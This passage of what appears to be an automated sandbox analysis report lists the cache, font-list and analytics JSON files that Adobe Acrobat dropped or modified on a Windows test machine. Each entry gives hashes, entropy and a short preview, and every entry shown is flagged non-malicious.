Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.728204828358771
Encrypted:	false
SSDEEP:	3:kkFklJRBdNkltfllXlE/HT8kuANNX8RolJuRdxLlGB9lQRYwpDdt:kK5eT84NMa8RdWBwRd
MD5:	5611F569B1CE35E60F523CD325452EF6
SHA1:	CECD7E82D1A90B3ED8C7BDC54B104E3D91745514
SHA-256:	2FC35BB2378C700D18FDC0C6AE12403FD417B7E58C2B9439C946B07F7CC01760
SHA-512:	32A997F257C8A9F4DB1D3C7CE0EEACA4A49DCADD76492F91B4B10735FE78E73BE51A5D87B907044247C23DFD265B9B545DBDE34585FF285FD5F2481F098C835B
Malicious:	false
Preview:	p...... .........4d8.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.236892865807448
Encrypted:	false
SSDEEP:	6:kKEL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:ciDImsLNkPlE99SNxAhUe/3
MD5:	A266A1671F84B5D23050BA2D04FBB86C
SHA1:	6D5B52C0BCBCAAACB13DB225B4F61C8A39E5D3C6
SHA-256:	EB4B344A13C28F097EF22FDD491EFA5678E583E1FACDCCA3A26A4F6522DB727D
SHA-512:	CB1C270A3CF37E3D5692A9A972C7582001A7176786420773AE1B59ED6E2C8118B94BC1588ED652FECB114FE0F6AEBD4D64131271D24E8810309C3A94100E8C8F
Malicious:	false
Preview:	p...... .........\|.\.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.4920

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.4920

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.336320434311969
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJM3g98kUwPeUkwRe9:YvXKXl/vR/ZwHAcGMbLUkee9
MD5:	57DCBE70571B80747B120154AD33E3A5
SHA1:	7AFDDFD163762A7BBA81F696800949D762C843AB
SHA-256:	0C55F0B8EFA79DCF0589446C9C946F242233DE7065CE4309F9081DCCE4AD994B
SHA-512:	10EF5A46EBD132FE5F99FCA3E852A2A99D07CE1A8249F5CC02CE46D66115A065A4D88DBB5ADBCBE123487C5579EC55F71B0746A6B84BAA5764B36268FA7DF2DC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.272862244345951
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfBoTfXpnrPeUkwRe9:YvXKXl/vR/ZwHAcGWTfXcUkee9
MD5:	1004FB0B7F86FCFB5CF5B5E783D719E0
SHA1:	5D8465DF67F41D4C833F6CA79F00A5C75AAB4024
SHA-256:	B2F1F2D55732F6A74498B679A23AF3E5E720AC6B881595A59439AAF63C5097B5
SHA-512:	BB297EAA9B07F3C88021116CD854CF64D4BB73FBA9333751EB91B02BC5B3756ED397E91295543B039098BC44D8F9FD4C063337392E6764A83526C6FE009251A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250814844345311
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfBD2G6UpnrPeUkwRe9:YvXKXl/vR/ZwHAcGR22cUkee9
MD5:	974A7A59D3E42D52FC5489EFA28BCAC9
SHA1:	382961EC090E90B222E7CA640A3529C29A862705
SHA-256:	8413D842BDF64D452B7059DD2ABCE35B152D1EB56D131A5349DF7F39E6F821F9
SHA-512:	EEF27EA6679B1EBF42FA651027CC15B6D8A0A45BD5F3333BE3337474C42D9D7017C78BF8ECE556AE090A8AF552DE2D82B1116050E323ED0DD667ACFA4708967F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.31232010534831
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfPmwrPeUkwRe9:YvXKXl/vR/ZwHAcGH56Ukee9
MD5:	F6ED95C4490033359F51F91609F46D15
SHA1:	703E9D4A4FB33AF9E8B3D92137FC3423856BC341
SHA-256:	F74F75AC42D36BCC99B25FA63D9D62839C3E06F8CD5A5286699C62ED05831045
SHA-512:	D6BA38A929AE59B49C1C5B3EB744367400EF56ED6626F329437C6C51066C19E4A6611B2058E76F64D575756C98002A1BB566514FD44037AC1276E4FDD4C9475A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.689708987732304
Encrypted:	false
SSDEEP:	24:Yv6Xl/JhVpLgE9cQx8LennAvzBvkn0RCmK8czOCCSQ:YvE/JhVhgy6SAFv5Ah8cv/Q
MD5:	F2574063DAA39204E0321EA5042D653B
SHA1:	DC83156A11B4FC21C2B65E2DECD8D4A622A9BAD7
SHA-256:	33F7C40015C5782DC3F5E85129165EF889998D4781C612350C411E2B197DE4CC
SHA-512:	3FC0A304530C13DB2E2FBE551C3B70B9F3099BE04E7DED3188335A8DAD593AC10B065C8CD7AD2DA553B9C04FFF4DFB31211730214524CB8B045C6623BC709A4C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.263382742502769
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJf8dPeUkwRe9:YvXKXl/vR/ZwHAcGU8Ukee9
MD5:	69BFAEC7096D12320617081BD714F8D6
SHA1:	B8CC8609EC87D4A60085A8ED74AF0A3FF1BA83EE
SHA-256:	460F2CF5A33CD663E83C26C9CB023D2DB403BBA391E6AF44C54506F2670A63DF
SHA-512:	C5813D2712BE272D145251FC2B476DF96B5364789660EDC1BA15F5F487E8B2D13EF1AC5C8975694F4D6BCF614638B3AC51DA7F2C91D5FA2732361D73F2C20136
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.262746912226039
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfQ1rPeUkwRe9:YvXKXl/vR/ZwHAcGY16Ukee9
MD5:	F6C1FFA9552313CAC9D32EFDC02CF520
SHA1:	42B7001F5BF9B6079D56AEE5272E7886E64512A0
SHA-256:	1A34D112E367C2C88549E929630ED08A903905A15A5877F3615A6DBAD5CBC504
SHA-512:	FFE38A394D1874133797844F94044D28337E0FA5456D13A68C97BBC4B243818D22C6840779ADCACC31B050C6A8477B10F75CA9C910AB407DCD6FAC3399620802
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.278855488633537
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfFldPeUkwRe9:YvXKXl/vR/ZwHAcGz8Ukee9
MD5:	F3B0F12C882FD67F33EF034D5ADE545E
SHA1:	C1F01B3810924CF1C6EF4038DCC90596558FC481
SHA-256:	E1649C7382E8240F80C06F8398721036390B393477D1911F5467EA115A1F40C4
SHA-512:	F5C9D30EA5EE3F0FC561E3625EFBEB311944684E3054A8CECEA8AD183FB88820D60858A2F36E65960B80BF9B42314ABE8C856807CD1D8CE71026BC1CFEF0BF40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.292740850373497
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfzdPeUkwRe9:YvXKXl/vR/ZwHAcGb8Ukee9
MD5:	1532B15048606A1DCBB6E9833BB9E908
SHA1:	6F4A53BB8B80AE40618E634310D659AC17DBB5F0
SHA-256:	693AA3444F55A3AF9A6CAF02B9242CC0119BA53BDEC03118424D6E08828D4B67
SHA-512:	31E18884A28ACCD8BA2B061664DDAF65971255DC53B86CB5A755B5FC643B6917CE997F5B82917BB228A6484B3E59BBAEDFB12EA3C5BB03F5FA5368DE727412A7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.272831871267355
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfYdPeUkwRe9:YvXKXl/vR/ZwHAcGg8Ukee9
MD5:	53A2739A4A97BF55E899E629A94ADF97
SHA1:	D070DF3AE0B756D2C652CE435A421BAFD1FD3CB5
SHA-256:	0ACD49470A54B8FB758C50CD09F463F23A514BDF4D4C8C2E57B12B5986ABBCDE
SHA-512:	717FD515625ABB695AFA47B10DD0C569CB237B3BD6251A904220180321D8F69D81C205253CF7EAB1ABA37BD8FFA2F76AB9E14B9B48291E93E049DA48194112C8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.258086230431614
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJf+dPeUkwRe9:YvXKXl/vR/ZwHAcG28Ukee9
MD5:	AC9CB1CE0BDCEB44BDAB243B1D64CCD7
SHA1:	B5A51AEA021A0B8D538254F20A5E4C9C28ECD64C
SHA-256:	98A4E408246422B778D3C99C399DA755520AC24AA74C6D7C627B42BEE7675FFA
SHA-512:	89A1FBC882A1179D740757BF56AE696229513C0CB98E5DEB43AFC96AE172D4C84A5FAF9B82133884541FCD364E4C236E09D2131195F32B5B52AC0319C886AA4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfbc0341-617a-46f4-a9d4-f53373847b11","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736713413873,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.256565691475464
Encrypted:	false
SSDEEP:	6:YEQXJ2HX1TbEYvB3/dVlPIHAR0YXoAvJfbPtdPeUkwRe9:YvXKXl/vR/ZwHAcGDV8Ukee9
MD5:	2C73D9C51F42830CC4029FBA086D245B
SHA1:	3DCCA95D2690A6E9B0678922329E5487133011D3
